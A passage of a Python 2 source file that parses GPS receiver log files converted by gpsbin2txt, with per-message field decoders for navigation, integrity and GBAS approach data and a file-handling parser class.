self.PR_30, self.sigma_30, self.sigma_ob, self.sigma_pr_gnd,
self.sigma_pr_gnd_100, self.sigma_pr_gnd_30,
self.s_appr_lat, self.s_appr_vert, self.correction_status,
self.decorr, self.decorr_D, self.range_residual, self.CCD_out,
self.sigma_D, self.sigma_D1, self.sigma_D2)
class Msg(list):
"""Represents a single message. Each field is stored as a list element
in the object. An initXX function is provided to convert each field into
a class member having the corresponding name given in the ICD."""
bracket_re = re.compile('\[(.*?)\]')
byte_counts = { '1D':7, '1F':13, '27':41, '28':37, '29':9, '2C':91, '2D':46,
'2E':85, '30':None, '31':54, '32':104, '50':20, '51':9,
'52':17, '53':17, '54':22, '55':10 }
def __init__(self, lines, line_num, serial_number, id_, text, second):
self.line = lines[0].rstrip()
self.lines = lines
self.line_num = line_num
self.serial_number = serial_number
self.id = id_
self.text = text
self.second = second
self += text.split()
initializer_name = 'init' + id_
if hasattr(self, initializer_name):
getattr(self, initializer_name)() # call initxx
def __repr__(self):
return ''.join(self.lines)
def __str__(self):
s = self.id + ' : '
for field in self:
s += str(field) + ' '
s = s[:-1]
return s
def get_data_list(self):
if len(self.lines) == 1:
return self.bracket_re.findall(self.text)
else:
return self.lines[1:]
def get_byte_count(self):
if self.id == '30':
return 6 + 37 * len(self.measurements)
else:
return self.byte_counts.get(self.id, 0)
def get_sequence_number(self):
# gpsbin2txt's sequence number is the first field in the line
return int(self.line.split()[0])
def timestamp(self):
pos = self.line.find('MSG')
if (pos > 0):
return self.line[:pos - 1]
else:
return self.line[:13]
#---------------------------- init functions ------------------------------
def init15(self): # latitude, longitude, and estimated horiz. error
self.valid_flag = int(self[0])
self.latitude = safe_float(self[1])
self.longitude = safe_float(self[2])
self.horizontal_position_error = safe_float(self[3])
def init16(self): # altitude and vertical position error
self.valid_flag = int(self[0])
self.altitude = safe_float(self[1])
self.vertical_position_error = safe_float(self[2])
def init17(self): # ground speed and track angle
self.valid_flag = int(self[0])
self.ground_speed = safe_float(self[1])
self.track_angle = safe_float(self[2])
def init18(self):
self.valid_flag = int(self[0])
self.east_velocity = safe_float(self[1])
self.north_velocity = safe_float(self[2])
self.up_velocity = safe_float(self[3])
def init19(self): # UTC date and time
self.valid_flag = int(self[0])
self.year = int(self[1])
self.month = int(self[2])
self.day = int(self[3])
self.hour = int(self[4])
self.minute = int(self[5])
self.second = int(self[6])
def init1A(self): # estimate local clock error
self.valid_flag = int(self[0])
self.estimated_clock_frequency_bias = safe_float(self[1])
def init1B(self):
self.statuses = [ChannelStatus(self.line_num, status) for status in self.get_data_list()]
def init1C(self): # receiver and system status
self.receiver_state = int(self[0])
self.integrity_state = int(self[1])
self.masked_integrity_warning = int(self[2])
self.bad_coverage = int(self[3])
self.altitude_aiding_in_use = int(self[4])
self.phase_of_flight = int(self[5])
self.error_status = int(self[6])
def init1D(self): # GNSS software revision
self.sw_version = self[1] #TODO: does not match text_converter.cpp
def init1F(self): # satellite azimuth
self.azimuth_angle_channel_1 = int(self[0])
self.azimuth_angle_channel_2 = int(self[1])
self.azimuth_angle_channel_3 = int(self[2])
self.azimuth_angle_channel_4 = int(self[3])
self.azimuth_angle_channel_5 = int(self[4])
self.azimuth_angle_channel_6 = int(self[5])
self.azimuth_angle_channel_7 = int(self[6])
self.azimuth_angle_channel_8 = int(self[7])
def init20(self):
self.raim_status = int(self[0])
def init21(self): #
self.tow = safe_float(self[0])
self.prn = int(self[2])
self.rk_pr = safe_float(self[4])
self.rk_pr_rate = safe_float(self[6])
self.rk_valid = int(self[8])
def init23(self): #
self.prn = int(self[1])
self.pr_est = safe_float(self[2])
self.k_z_chan0 = safe_float(self[3])
self.k_z_chan1 = safe_float(self[4])
def init24(self): #
self.TOW = safe_float(self[0])
self.SVID = int(self[1])
self.Week = int(self[2])
self.pos0 = safe_float(self[3])
self.pos1 = safe_float(self[4])
self.pos2 = safe_float(self[5])
self.vel0 = safe_float(self[6])
self.vel1 = safe_float(self[7])
self.vel2 = safe_float(self[8])
self.clock = safe_float(self[9])
self.freq = safe_float(self[10])
self.variance = safe_float(self[11])
self.flag = int(self[12])
def init25(self): #
self.mk_tow = safe_float(self[0])
self.mk_wn = int(self[1])
self.mk_lon_deg = safe_float(self[2])
self.mk_lat_deg = safe_float(self[3])
self.mk_alt = safe_float(self[4])
self.mk_vel_x = safe_float(self[5])
self.mk_vel_y = safe_float(self[6])
self.mk_vel_z = safe_float(self[7])
self.mk_cbias = safe_float(self[8])
self.mk_freq = safe_float(self[9])
def init26(self): #
self.SVID = int(self[0])
self.week = int(self[1])
self.TOAC = safe_float(self[2])
self.TOAE = safe_float(self[3])
self.Af0 = safe_float(self[4])
self.Af1 = safe_float(self[5])
self.Af2 = safe_float(self[6])
self.W = safe_float(self[7])
self.M0 = safe_float(self[8])
self.eccentricity = safe_float(self[9])
self.sqrta = safe_float(self[10])
self.omaga0 = safe_float(self[11])
self.I0 = safe_float(self[12])
self.odot = safe_float(self[13])
self.idot = safe_float(self[14])
self.dn = safe_float(self[15])
self.cus = safe_float(self[16])
self.cuc = safe_float(self[17])
self.crs = safe_float(self[18])
self.crc = safe_float(self[19])
self.cis = safe_float(self[20])
self.cic = safe_float(self[21])
self.tgd = safe_float(self[22])
self.dgrd = safe_float(self[23])
def init27(self): #
self.r_svid = int(self[0])
self.b_mcnt = int(self[1])
self.b_freq = int(self[2])
self.b_data = int(self[3])
self.b_amp = int(self[4])
self.b_lock = int(self[5])
self.dwellcnt = int(self[6])
self.r_tow = safe_float(self[7])
self.r_pr = safe_float(self[8])
self.r_pr_rate = safe_float(self[9])
def init28(self): #
self.r_listid = int(self[0])
assert(self.r_listid > 0 and self.r_listid <= 24) # one-based
self.r_svid = int(self[1])
self.r_mcntcmd = int(self[2])
self.r_dpp = float(self[3])
self.r_cdlim = float(self[4])
self.r_frqlim = float(self[5])
if (self.r_frqlim < 1.0e-30):
self.r_frqlim = 0.0;
self.range = float(self[6])
self.range_rate = float(self[7])
self.lim_dwell = int(self[8])
# derive values from the above
self.prn = self.r_svid
self.ch_no = self.r_listid - 1
self.code_center = int(self.r_mcntcmd * 0.1)
self.code_limit = self.r_cdlim * 0.1
self.code_min = self.code_center - self.code_limit
self.code_max = self.code_center + self.code_limit
self.freq_center = self.r_dpp
self.freq_limit = self.r_frqlim
self.freq_min = self.r_dpp - self.r_frqlim
self.freq_max = self.r_dpp + self.r_frqlim
def init29(self): # status or fault annunciation
self.satellite_id = int(self[0])
self.fault_type = int(self[1])
self.fault_text = ' '.join(self[2:])
self.fault_text = self.fault_text[1:-1] # strip leading/trailing quotes
self[2] = self.fault_text
del self[3:]
def init2A(self):
self.l_gdop = float(self[0])
self.visibility_records = [VisibilityRecord(self.line_num, record) for record in self.get_data_list()]
def init2B(self): # set almanac response
self.svid = int(self[0])
self.d_config = int(self[1])
self.d_a_wn = int(self[2])
self.d_sig_health = int(self[3])
self.d_data_health = int(self[4])
self.a_toa = safe_float(self[5])
self.a_af0 = safe_float(self[6])
self.a_af1 = safe_float(self[7])
self.a_w = safe_float(self[8])
self.a_m0 = safe_float(self[9])
self.a_e = safe_float(self[10])
self.a_sqrta = safe_float(self[11])
self.a_omg0 = safe_float(self[12])
self.a_i0_rel = safe_float(self[13])
self.a_odot = safe_float(self[14])
def init2C(self): # cooked measurement
self.prn = int(self[0])
self.tick = int(self[1])
self.range = safe_float(self[2])
self.sigma = safe_float(self[3])
self.rate = safe_float(self[4])
self.sv_x = safe_float(self[5])
self.sv_y = safe_float(self[6])
self.sv_z = safe_float(self[7])
self.sv_dx = safe_float(self[8])
self.sv_dy = safe_float(self[9])
self.sv_dz = safe_float(self[10])
self.tow = float(self[11])
self.precision = int(self[12])
self.correction = int(self[13])
self.raw_pr = safe_float(self[14])
self.smooth_pr = safe_float(self[15])
def init2D(self): # raw measurement
self.prn = int(self[0])
self.tick = int(self[1])
self.acc_dop_cyc = float(self[2])
self.acc_dop_time_ms = int(self[3])
self.bb_code_phase_s = float(self[4])
self.bb_symbol_phase = int(self[5])
self.subframe_phase = int(self[6])
self.subframe_phase_valid = int(self[7])
self.cn0_dbhz = int(self[8])
self.subframe_epoch_ms = int(self[9])
def init2E(self): # GNSS software part number
self.application_software_part_number = self[0]
self.boot_software_part_number = self[1]
self.hardware_part_number = self[2]
self.spare = self[3]
def init2F(self): # system metric
self.metric_id = int(self[0])
self.metric = safe_float(self[1])
def init30(self): # measurements
# print '----\n', self.lines
self.time_mark_sequence_number = int(self[0])
self.number_of_measurements = int(self[1])
self.measurements = [Measurement(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements) == self.number_of_measurements)
def init31(self): # enhanced receiver status
self.time_mark_sequence_number = int(self[0])
self.mode = self[1]
self.fault = int(self[2])
self.number_of_visible_satellites = int(self[3])
self.altitude_measurements_being_used = int(self[4])
self.estimated_clock_frequency_bias = safe_float(self[5])
(self.HDOP, self.HIL, self.HPE, self.VDOP, self.VIL, self.VPE) = \
[safe_float(f) for f in self[6:12]]
self.RAIM_detected_ranging_failure = int(self[12])
self.RF_hardware_failure = int(self[13])
self.SBAS_ID = int(self[14])
self.jamming_status = int(self[15])
self.GDOP = safe_float(self[16])
try:
self.HEL = safe_float(self[17])
except IndexError:
self.HEL = 0.0
try:
self.antenna_current = int(self[18])
except IndexError:
self.antenna_current = 0
try:
self.input_bus_activity = int(self[19])
except IndexError:
self.input_bus_activity = 0
def init32(self): # time mark
self.validity = int(self[0], 16)
self.time_mark_sequence_number = int(self[1])
self.gps_week = int(self[2])
self.gps_tow = safe_float(self[3])
self.latitude = safe_float(self[4])
self.longitude = safe_float(self[5])
self.ellipsoidal_altitude = safe_float(self[6])
self.geodetic_altitude = safe_float(self[7])
self.ground_track = safe_float(self[8])
self.ground_speed = safe_float(self[9])
self.vertical_speed = safe_float(self[10])
self.north_velocity_component = safe_float(self[11])
self.east_velocity_component = safe_float(self[12])
self.down_velocity_component = safe_float(self[13])
self.north_acceleration_component = safe_float(self[14])
self.east_acceleration_component = safe_float(self[15])
self.down_acceleration_component = safe_float(self[16])
self.heading = safe_float(self[17])
self.pitch_angle = safe_float(self[18])
self.bank_angle = safe_float(self[19])
self.year = int(self[20])
self.month = int(self[21])
self.day = int(self[22])
self.hour = int(self[23])
self.minute = int(self[24])
self.second = safe_float(self[25])
self.at_pps = int(self[26])
def init33(self): # horizontal integrity prediction result
self.prediction_sequence_number = int(self[0])
self.status = int(self[1])
self.vil_minus_15 = safe_float(self[2])
self.vil_minus_10 = safe_float(self[3])
self.vil_minus_5 = safe_float(self[4])
self.vil_0 = safe_float(self[5])
self.vil_plus_5 = safe_float(self[6])
self.vil_plus_10 = safe_float(self[7])
self.vil_plus_15 = safe_float(self[8])
def init34(self): # SBAS alamanc response
self.svid = int(self[0])
self.d_a_wn = int(self[1])
self.a_toa = safe_float(self[2])
self.a_x = safe_float(self[3])
self.a_y = safe_float(self[4])
self.a_z = safe_float(self[5])
self.a_dx = safe_float(self[6])
self.a_dy = safe_float(self[7])
self.a_dz = safe_float(self[8])
self.d_health_and_status = int(self[9])
self.d_service_provider = int(self[10])
def init35(self): # deviations
self.validity = int(self[0], 16)
self.time_mark_sequence_number = int(self[1])
self.fault = int(self[2])
self.gls_airport_id = self[3]
self.gbas_station_id = self[4]
self.ground_station_identity = self[5]
self.runway_heading = safe_float(self[6])
self.lateral_protection_level = safe_float(self[7])
self.vertical_protection_level = safe_float(self[8])
self.lateral_alarm_limit = safe_float(self[9])
self.vertical_alarm_limit = safe_float(self[10])
self.horizontal_deviation_rectilinear = safe_float(self[11])
self.vertical_deviation_rectilinear = safe_float(self[12])
self.localizer_deviation_angular = safe_float(self[13])
self.glideslope_deviation_angular = safe_float(self[14])
self.distance_to_runway_datum_point = safe_float(self[15])
self.selected_glide_path_angle = safe_float(self[16])
self.threshold_crossing_height = safe_float(self[17])
self.ltp_to_garp_distance = safe_float(self[18])
self.gls_channel_number = int(self[19])
self.selected_runway_magnetic_heading = safe_float(self[19])
def init36(self): # deviation status
self.validity = int(self[0])
self.time_mark_sequence_number = int(self[1])
self.route_indicator = int(self[2])
self.ssid = int(self[3])
self.full_scale_deviation = int(self[4])
self.protection_level_source = int(self[5])
self.runway_letter = int(self[6])
self.runway_number = int(self[7])
self.time_since_last_valid_type_1_message = int(self[8])
self.number_of_corrections_used = int(self[9])
self.number_of_corrections_received = int(self[10])
self.number_of_ranging_sources_tracked = int(self[11])
self.bias_approach_monitor_status = int(self[12])
self.precision_approach_region = int(self[13])
self.gbas_message_id_received = int(self[14])
self.gbas_distance_status = int(self[15])
self.vertical_guidance_region_status = int(self[16])
self.type_1_message_latency = int(self[17])
self.type_1_message_time_out = int(self[18])
self.gls_vertical_performance_alert = int(self[19])
self.gls_lateral_performance_alert = int(self[20])
self.position_status_for_gls = int(self[21])
self.ground_station_status = int(self[22])
self.vertical_approach_status = int(self[23])
self.lateral_approach_status = int(self[24])
self.number_of_gbas_messages_received = int(self[25])
self.number_of_valid_type_1_messages_received = int(self[26])
self.number_of_gbas_message_crc_errors_detected = int(self[27])
self.approach_performance_designator = int(self[28])
self.above_threshold_crossing_height = int(self[29])
self.approach_monitor = int(self[30])
self.vertical_full_scale_deviation = int(self[31])
def init37(self): # vertical integrity prediction result
self.prediction_sequence_number = int(self[0])
self.status = int(self[1])
self.vil_minus_15 = safe_float(self[2])
self.vil_minus_10 = safe_float(self[3])
self.vil_minus_5 = safe_float(self[4])
self.vil_0 = safe_float(self[5])
self.vil_plus_5 = safe_float(self[6])
self.vil_plus_10 = safe_float(self[7])
self.vil_plus_15 = safe_float(self[8])
def init38(self): # GLS ranging source status and IOD
self.time_mark_sequence_number = int(self[0])
self.number_of_measurements = int(self[1])
self.measurements = [GlsMeasurement(self.line_num, measurement) for measurement in self.get_data_list()]
def init39(self): # GNSS needs configured
self.required_configuration = int(self[0], 16)
def init3A(self): # channel status
self.time_mark_sequence_number = int(self[0])
self.number_of_channels_in_receiver = int(self[1])
self.number_of_channels_in_this_packet = int(self[2])
self.channel_stat = [ChannelStatus3A(self.line_num, status) for status in self.get_data_list()]
assert(len(self.channel_stat) == self.number_of_channels_in_this_packet)
def init3B(self): # measurements
self.time_mark_sequence_number = int(self[0])
self.total_number_of_measurements = int(self[1])
self.number_of_measurements_in_this_packet = int(self[2])
self.measurements = [Measurement3B(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements) == self.number_of_measurements_in_this_packet)
def init3F(self): # 30s measurements
self.time_mark_sequence_number = int(self[0])
self.msgtype11 = int(self[1])
self.total_number_of_30measurements = int(self[2])
self.number_of_30measurements_in_this_packet = int(self[3])
self.measurements30 = [Measurement30s3F(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements30) == self.number_of_30measurements_in_this_packet)
def init3C(self): #
self.number_of_vdb_packets_received = int(self[0])
self.number_of_vdb_with_errors = int(self[1])
def init41(self): #
self.prediction_sequence_number = int(self[0])
self.time_of_prediction_year = int(self[1])
self.time_of_prediction_month = int(self[2])
self.time_of_prediction_day = int(self[3])
self.time_of_prediction_hour = int(self[4])
self.time_of_prediction_min = int(self[5])
self.prediction_latitude = safe_float(self[6])
self.prediction_longitude = safe_float(self[7])
self.prediction_altitude = safe_float(self[8])
self.deselection_mask = [int(t) for t in self[9:41]]
self.altitude_aiding_available = int(self[42])
self.reserved = [int(t) for t in self[43:]]
def init47(self): # VDB data broadcast
# all data for packet 0x47 is in hex
self.station_slot_identifier = int(self[0], 16)
self.packet_sequence_number = int(self[1], 16)
self.packets_in_message = int(self[2], 16)
data = [chr(int(x, 16)) for x in self[3:]] # make a list of data
self.data_bytes = ''.join(data) # convert it to a string
def init49(self): #
self.channel_selected = int(self[0])
self.channel_number = int(self[1])
def init4C(self): #
self.test = int(self[0])
def init4D(self): #
self.sequence_number = int(self[0])
def init50(self): # baseband event
self.event = int(self[0])
self.tick_ms = int(self[1])
self.ch_no = int(self[2])
self.prn = int(self[3])
self.freq = safe_float(self[4])
self.phase = int(self[5])
self.mag = int(self[6])
self.info1 = int(self[7])
self.info2 = int(self[8])
def init51(self): # baseband status
self.ch_no = int(self[0])
self.freq_Hz = int(self[1])
self.code_phase_chips = int(self[2])
def init52(self): # PVT task times
self.system_state = int(self[0])
self.solution_quality = int(self[1])
self.times = [int(t) for t in self[2:]]
def init53(self): # clock bias
self.clock_bias_sec = safe_float(self[0])
self.tick_ms = int(self[1])
def init54(self): # code phase adjustment
self.tick_ms = int(self[0])
self.ch_no = int(self[1])
self.error = int(self[2])
self.locked = int(self[3])
self.adjustment = int(self[4])
self.gain = safe_float(self[5])
self.threshold = safe_float(self[6])
self.costas_lock_ind = int(self[7])
def init55(self): # sigma noise
self.prn = int(self[0])
self.sigma_noise_m = safe_float(self[1]) # gpsbin2txt does sqrt
def init57(self): # all task times
self.lisr_time = int(self[0])
self.idle_time = int(self[1])
self.times = [int(t) for t in self[2:]]
""" This packet needs further examination, since text is merged with data in the log file
def init58(self): #
self.prn =
self.tag
self.n
if (self.n <= 63) ( self.data = [int(t) for t in self[X:X+self.n]])
def init59(self): seems to be the same as 58
"""
def init5A(self): # timing analysis
self.event_ID = int(self[0])
self.event_count = int(self[1])
self.min_event_duration_s = int(self[2]) * 1e-6 # convert from microseconds to s
self.max_event_duration_s = int(self[3]) * 1e-6 # likewise
def init5B(self):
self.tick = int(self[0])
self.tow = safe_float(self[1])
def init5C(self):
self.tick = int(self[0])
self.prn = int(self[1])
self.type = int(self[2])
self.correction = safe_float(self[3])
self.differential_correction = safe_float(self[4])
self.sv_clock_correction = safe_float(self[5])
self.iono_correction = safe_float(self[6])
self.tropo_correction = safe_float(self[7])
def init5F(self):
self.validity = int(self[0])
self.time_mark_sequence_number = self[1]
self.GBASD_30s_smoothed_latitude = safe_float(self[2])
self.GBASD_30s_smoothed_longitude = safe_float(self[3])
self.GBASD_30s_smoothed_altitude = safe_float(self[4])
self.GBASD_100s_smoothed_latitude = safe_float(self[5])
self.GBASD_100s_smoothed_longitude = safe_float(self[6])
self.GBASD_100s_smoothed_altitude = safe_float(self[7])
self.D_lat = safe_float(self[8])
self.D_vert = safe_float(self[9])
self.Selected_Approach_Service_Type = int(self[10])
self.Active_Approach_Service_Type = int(self[11])
self.Fault_Detected_GBAS = int(self[12])
self.OnGround_Slow_Discrete = int(self[13])
def init60(self): # satellite position
self.prn = int(self[0])
self.sv_x = safe_float(self[1])
self.sv_y = safe_float(self[2])
self.sv_z = safe_float(self[3])
def init61(self): # SBAS message
self.prn = int(self[0])
self.msg_id = int(self[1])
self.data = [int(x) for x in self[1:8]] #TODO: does not match text_converter.cpp
def init64(self): # NAV FAS parameters
self.m_GBAS_ID = self[0] #TODO this does not appear correct see text_converter.cpp
self.m_SSID = int(self[1])
self.m_data_length = int(self[2])
self.m_operation_type = int(self[3])
self.m_SBAS = int(self[4])
self.m_airport_ID = self[5] #TODO this does not appear correct see text_converter.cpp
self.m_runway_number = int(self[6])
self.m_runway_letter = int(self[7])
self.m_appr_perf_designator = int(self[8])
self.m_route_indicator = int(self[9])
self.m_RPDS = int(self[10])
self.m_ref_path_ID = self[11] #TODO this does not appear correct see text_converter.cpp
self.m_LTP_lat_deg = safe_float(self[12])
self.m_LTP_lon_deg = safe_float(self[13])
self.m_LTP_height_m = safe_float(self[14])
self.m_delta_FPAP_lat_deg = safe_float(self[15])
self.m_delta_FPAP_lon_deg = safe_float(self[16])
self.m_TCH_m = safe_float(self[17])
self.m_TCH_ft = safe_float(self[18])
self.m_TCH_unit_selector = int(self[19])
self.m_GPA_deg = safe_float(self[20])
self.m_GPA_rad = safe_float(self[21])
self.m_CW_TH_m = safe_float(self[22])
self.m_delta_length_offset_m = int(self[23])
self.m_delta_length_offset_valid = int(self[24]) #TODO this does not appear correct see text_converter.cpp
self.m_crc = self[25]
self.m_fas_val_m = safe_float(self[26])
self.m_fas_val_valid = self[27]
self.m_fas_lal_m = safe_float(self[28])
self.m_fas_lal_valid = self[29]
def init65(self): # NAV unit vector
self.u_rw_x = safe_float(self[0])
self.u_rw_y = safe_float(self[1])
self.u_rw_z = safe_float(self[2])
self.u_ctk_x = safe_float(self[3])
self.u_ctk_y = safe_float(self[4])
self.u_ctk_z = safe_float(self[5])
self.u_vrt_x = safe_float(self[6])
self.u_vrt_y = safe_float(self[7])
self.u_vrt_z = safe_float(self[8])
self.u_GARP_x = safe_float(self[9])
self.u_GARP_y = safe_float(self[10])
self.u_GARP_z = safe_float(self[11])
self.u_GPIP_x = safe_float(self[12])
self.u_GPIP_y = safe_float(self[13])
self.u_GPIP_z = safe_float(self[14])
def init66(self): # guidance reference position
self.is_pvt_augmented = int(self[0])
self.validity = int(self[1])
self.tick_ms = int(self[2])
self.GRP_x = safe_float(self[3])
self.GRP_y = safe_float(self[4])
self.GRP_z = safe_float(self[5])
def init67(self): # primary corrections
self.prn = int(self[0])
self.primary_corrections = int(self[1])
def init68(self): # UDREI
self.prn = int(self[0])
self.udrei = int(self[1])
def init69(self): # commanded bit test completion
self.BIT_commanded_result = int(self[0])
self.completion_time = int(self[1])
def init6A(self): # BIT event status
self.req_id = int(self[0])
self.p_status = int(self[1])
def init6B(self): # baseband code gain change
self.ch_no = int(self[0])
self.win_sz = int(self[1])
self.locked = int(self[2])
self.avg_abs_error = safe_float(self[3])
self.gain = safe_float(self[4])
self.threshold = safe_float(self[5])
self.tick_ms = int(self[6])
#def init6C(self): #
def init6D(self): #
self.yaw = safe_float(self[0])
self.pitch = safe_float(self[1])
self.roll = safe_float(self[2])
def init70(self): # RXC visibility record
self.num_records = int(self[0])
self.index = int(self[1])
self.prn = int(self[2])
self.elevation = int(self[3])
self.priority = int(self[4])
self.doppler = int(self[5])
self.doppler_uncertainty = int(self[6])
self.code_phase = int(self[7])
self.code_phase_uncertainty = int(self[8])
self.code_phase_rate_cps = int(self[9])
def init71(self): # measurement tick
self.tick = int(self[0])
def init72(self): # timed event
self.tick_ms = int(self[0])
self.event_id = int(self[1])
self.info1 = int(self[2])
self.info2 = int(self[3])
self.info3 = int(self[4])
def init73(self): # altimeter type
self.tick_ms = int(self[0])
self.altimeter_type = int(self[1])
self.input_value_m = safe_float(self[2])
self.final_value_m = safe_float(self[3])
self.sigma_m = safe_float(self[4])
def init74(self): # bias approach monitor values
self.tick_ms = int(self[0])
self.approach_VFOM = safe_float(self[1])
self.Bv_app_max = safe_float(self[2])
def init75(self): #
self.station_selected = int(self[0])
self.index = int(self[1])
self.char1 = int(self[2])
self.char2 = int(self[3])
self.char3 = int(self[4])
self.char4 = int(self[5])
def init76(self): #
self.tick = int(self[0])
self.is_pvt_corrected = int(self[1])
self.ege = safe_float(self[2])
self.egve = safe_float(self[3])
def init77(self): #
self.tick = int(self[0])
self.demotion_HPL = safe_float(self[1])
self.demotion_VPL = safe_float(self[2])
self.demotion_HPL_indicator = int(self[3])
def init78(self): # PVT Residuals
self.prn = int(self[0])
self.residual = safe_float(self[1])
#def init79(self): #
#def init7A(self): #
def init80(self): # timestamp
self.log_time_sec = safe_float(self[0])
def init81(self): # log start time
self.month = int(self[0])
self.day = int(self[1])
self.year = int(self[2])
self.hour = int(self[3])
self.minute = int(self[4])
self.second = safe_float(self[5])
def init82(self): # smoothing filter data
self.tick = int(self[0])
self.prn = int(self[1])
self.raw_pr = safe_float(self[2])
self.delta_pr = safe_float(self[3])
self.smooth_pr = safe_float(self[4])
self.divg = safe_float(self[5])
def init83(self): # SA mode
self.prn = int(self[0])
self.sa_mode = int(self[1])
def init84(self): # WAAS health
self.waas_health = int(self[0])
self.prn = int(self[1])
def init85(self): # WAAS DUDRE
self.prn = int(self[0])
self.dudre = safe_float(self[1])
def init86(self): # corrections
self.prn = init(self[0]) #TODO does not match text_converter.cpp
self.corrections = safe_float(self[1]) #TODO does not match text_converter.cpp
def init87(self): # CRC validity
self.prn = int(self[0])
self.iode = int(self[1])
self.crc = int(self[2])
def init88(self): # ephemeris validity
self.prn = int(self[0])
self.sfno = int(self[1])
self.valid = int(self[2])
def init89(self): # iono validity
self.prn = int(self[0])
self.valid = int(self[1])
def init8A(self): #
self.prn = int(self[0])
self.tick_ms = int(self[1])
self.aug_mode = int(self[2])
def init90(self): #
self.prn = int(self[0])
self.gps_iode = int(self[1])
self.sbas_iod = int(self[2])
def init91(self): #
self.mask = int(self[0])
self.GNSS_ID = int(self[1])
self.GLS_ID = int(self[2])
self.offset_x = safe_float(self[3])
self.offset_y = safe_float(self[4])
self.offset_z = safe_float(self[5])
self.region_0 = int(self[6])
self.region_1 = int(self[7])
self.region_2 = int(self[8])
self.region_3 = int(self[9])
self.region_4 = int(self[10])
self.number_overrides = int(self[11])
def init92(self): #
self.prn = int(self[0])
self.quality = int(self[1])
def init93(self): #
self.prn = int(self[0])
self.time = int(self[1])
self.mode = int(self[2])
def init94(self): #
self.poscnt = int(self[0])
self.timecnt = int(self[1])
self.FAScnt = int(self[2])
self.D2Tcnt = int(self[3])
self.ldevscnt = int(self[4])
self.vdevscnt = int(self[5])
def init95(self): # SSS Visibility Record
self.prn = int(self[0])
self.index = int(self[1])
self.elevation = int(self[2])
self.azimuth = int(self[3])
self.score = int(self[4])
self.unknown_state = int(self[4])
def init96(self): #
self.prn = int(self[0])
self.sbas_prn = int(self[1])
self.sbas_provider_id = int(self[2])
self.health = int(self[3])
#def init97(self): #
#def init98(self): #
def init99(self): # SIM Instrumentation
self.fault_type = safe_float(self[0])
self.source = safe_float(self[1])
self.payload = int(self[2])
self.repeat_count = int(self[3])
class Parser:
"""Implements a parser class for Mercury XPR log files as converted to
text by gpsbin2txt."""
msg_re = re.compile(r'(\d+)\s*(\d+)\s*MSG(.*?)\s+(.*)')
second = 0
def __init__(self, verbose=True):
"""Initializes the object. This function must be called at the
beginning of the __init__ functions of derived classes.
ids_to_parse is a list of messages to be parsed; if empty (the default),
all messages will be parsed.
verbose determines whether various status messages will be printed
when parsing."""
self.line_num = None
self.abort_parse = False
self.fname = ''
self.fnames = []
self.ids_to_parse = {} # parse all
self.init_stats()
self.verbose = verbose
def init_stats(self):
"Initialize parsing statistics"
self.num_bytes = 0
self.num_parsed = 0
self.num_handled = 0
def main(self, title='', fname=''):
"Implements a simple main function for use by derived classes"
if title:
print title
print
self.get_parse_ids_from_handlers()
if fname:
fname = self.convert_log_file(fname)
self.parse(fname)
else:
self.parse_command_line_fnames()
self.at_main_end()
def at_main_end(self):
"""Gets called at the end of main. Prints a summary of parsed data
timespan, but can be overridden for a custom summary"""
hours = int(self.second / 3600.0)
minutes = round((self.second % 3600.0) / 60)
print 'Parsed data spans %i second%s = %i hour%s and %i minute%s' % \
(self.second, plural(self.second), hours, plural(hours), minutes,
plural(minutes))
def set_ids_to_parse(self, ids=[]):
"Set the IDs to be parsed."
self.ids_to_parse = {}
for id_ in ids:
self.ids_to_parse[id_] = True
def get_handler_ids(self):
handler_ids = []
for name in dir(self):
if name.startswith('handle') and len(name) == 8:
id_ = name[-2:]
int(id_, 16) # raises value error if id_ isn't hex
handler_ids.append(id_)
return handler_ids
def get_parse_ids_from_handlers(self):
self.set_ids_to_parse(self.get_handler_ids())
def get_command_line_fnames(self):
"""Returns a list of files derived from patterns supplied on the
command line. If none are found, the list contains the newest
*.gps file"""
fnames = []
for arg in sys.argv[1:]:
fnames += glob.glob(arg)
if not fnames:
if self.verbose:
print 'No files were found via command-line arguments. Using newest *.gps.'
fnames = glob.glob('*.gps')
fnames.sort(lambda x, y: cmp(os.path.getmtime(x), os.path.getmtime(y)))
fnames = fnames[-1:]
return fnames
def convert_log_files(self, fnames):
"""Converts binary log fnames to text log fnames and converts the binary log files
to text via gpsbin2txt, if necessary. Returns the list of text fnames."""
txt_fnames = []
for fname in fnames:
(fname_root, fname_ext) = os.path.splitext(fname)
if fname_ext.lower() in ('.gps', '.bin'):
txt_fname = fname_root + '.txt'
else:
txt_fname = fname # file is assumed to be text
if os.path.exists(txt_fname):
try:
if os.path.getmtime(txt_fname) >= os.path.getmtime(fname):
txt_fnames.append(txt_fname)
continue # no need to convert
except OSError:
txt_fnames.append(txt_fname)
continue # bin file does not exist
# convert the binary file to text via gpsbin2txt
if self.verbose:
print 'Converting', fname, 'to', txt_fname
if os.system('gpsbin2txt %s %s 3' % (fname, txt_fname)) == 0:
txt_fnames.append(txt_fname)
return txt_fnames
def convert_log_file(self, fname):
return self.convert_log_files([fname])[0]
def parse_command_line_fnames(self):
"""Parses all log files whose names are provided on the command line,
or parses all available log files if no command-line arguments have
been provided."""
self.fnames = self.convert_log_files(self.get_command_line_fnames())
for fname in self.fnames:
self.parse(fname)
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
return False # error was not fixed
def parse_msg_lines(self, lines):
m = self.msg_re.search(lines[0])
if not m:
return
self.num_parsed += 1
try:
id_ = m.group(3)
if not self.ids_to_parse or self.ids_to_parse.has_key(id_):
handler_name = 'handle' + id_
self.second = int(m.group(2))
try:
msg = Msg(lines, self.line_num, m.group(1), id_, m.group(4),
self.second)
except Exception, err:
if not self.handle_parse_error(err, self.line_num, lines[0]):
return
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
self.num_handled += 1
else:
self.handle(msg)
except (Error, AssertionError), err:
msg = getattr(err, 'value', '')
print '%s Error at line number %i:' % (err, self.line_num)
print lines[0]
sys.exit(1)
def parse(self, fname):
"""Parses a single log file"""
if self.verbose:
print 'Parsing', fname
self.abort_parse = False
self.fname = fname
self.line_num = 0
msg_lines = ['']
f = open(self.fname)
for line in f:
self.num_bytes += len(line)
if line[0] == ' ':
msg_lines.append(line)
else:
self.parse_msg_lines(msg_lines)
msg_lines = [line]
if self.abort_parse:
if self.verbose:
print 'Parsing of %s aborted at line %i, sequence %s.' % \
